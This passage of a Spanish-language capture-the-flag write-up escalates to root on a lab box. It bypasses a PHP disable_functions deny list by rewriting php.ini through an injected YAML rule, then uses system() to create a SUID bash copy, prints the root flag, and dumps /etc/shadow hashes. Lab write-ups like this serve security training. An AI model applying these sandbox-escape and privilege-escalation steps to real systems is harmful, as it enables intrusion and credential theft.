disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
# [...]
|
Utilizamos file_put_contents la cual no esta deshabilitada, esto para reescribir el archivo php.ini.
1
2
3
4
5
6
7
|
---
name: "name item"
description: "description"
image: "image.png"
price: 10000
rule_msg: "msg rule"
rule: "return file_put_contents('/opt/gavel/.config/php/php.ini','open_basedir=');"
|
Tras su ejecucion vemos que ahora no existen limitaciones.
1
2
3
4
5
|
auctioneer@gavel:/dev/shm$ /usr/local/bin/gavel-util submit /dev/shm/path.yaml
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR
auctioneer@gavel:/dev/shm$ cat /opt/gavel/.config/php/php.ini; echo
open_basedir=
auctioneer@gavel:/dev/shm$
|
Shell
Creamos una copia de bash con permisos SUID, la cual nos permitio obtener acceso root y la flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
auctioneer@gavel:/dev/shm$ cat file.yaml
---
name: "name item"
description: "description"
image: "image.png"
price: 10000
rule_msg: "msg rule"
rule: "return system('cp /usr/bin/bash /usr/bin/sc; chmod u+s /usr/bin/sc');"
auctioneer@gavel:/dev/shm$ /usr/local/bin/gavel-util submit /dev/shm/file.yaml
Illegal rule or sandbox violation.SANDBOX_RETURN_ERROR
auctioneer@gavel:/dev/shm$ ls -lah /usr/bin/sc
-rwsr-xr-x 1 root root 1.4M Jan 7 06:16 /usr/bin/sc
auctioneer@gavel:/dev/shm$ /usr/bin/sc -p
sc-5.1# whoami;id
root
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)
sc-5.1# cat /root/root.txt
aa9b8275dccf4af84eac38b7c7e579b1
sc-5.1#
|
Dump Hashes
Realizamos la lectura del archivo /etc/shadow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
sckull@gavel:~# cat /etc/shadow
cat /etc/shadow
root:$y$j9T$F4t1iJQb1Y9atV89HlC.k.$rdYP7l6hwov0veW3K1LdYgljvILjVuoCkqlSf7OmAs3:20396:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
sys:*:19977:0:99999:7:::
sync:*:19977:0:99999:7:::
games:*:19977:0:99999:7:::
man:*:19977:0:99999:7:::
lp:*:19977:0:99999:7:::
mail:*:19977:0:99999:7:::
news:*:19977:0:99999:7:::
uucp:*:19977:0:99999:7:::
proxy:*:19977:0:99999:7:::
www-data:*:19977:0:99999:7:::
backup:*:19977:0:99999:7:::
list:*:19977:0:99999:7:::
irc:*:19977:0:99999:7:::
gnats:*:19977:0:99999:7:::
nobody:*:19977:0:99999:7:::
_apt:*:19977:0:99999:7:::
systemd-network:*:19977:0:99999:7:::
systemd-resolve:*:19977:0:99999:7:::
messagebus:*:19977:0:99999:7:::
systemd-timesync:*:19977:0:99999:7:::
pollinate:*:19977:0:99999:7:::
syslog:*:19977:0:99999:7:::
uuidd:*:19977:0:99999:7:::
tcpdump:*:19977:0:99999:7:::
tss:*:19977:0:99999:7:::
fwupd-refresh:*:19977:0:99999:7:::
usbmux:*:20291:0:99999:7:::
lxd:!:20291::::::
vboxadd:!:20298::::::
mysql:!:20298:0:99999:7:::
auctioneer:$y$j9T$a4m13RlusE.ItZN9V0MQT1$N1nUleOlY2d1KmlIMvhzatvI5lBieVuAqhmgxcUbsc0:20364:0:99999:7:::
sshd:*:20342:0:99999:7:::
_laurel:!:20396::::::
sckull@gavel:~#
|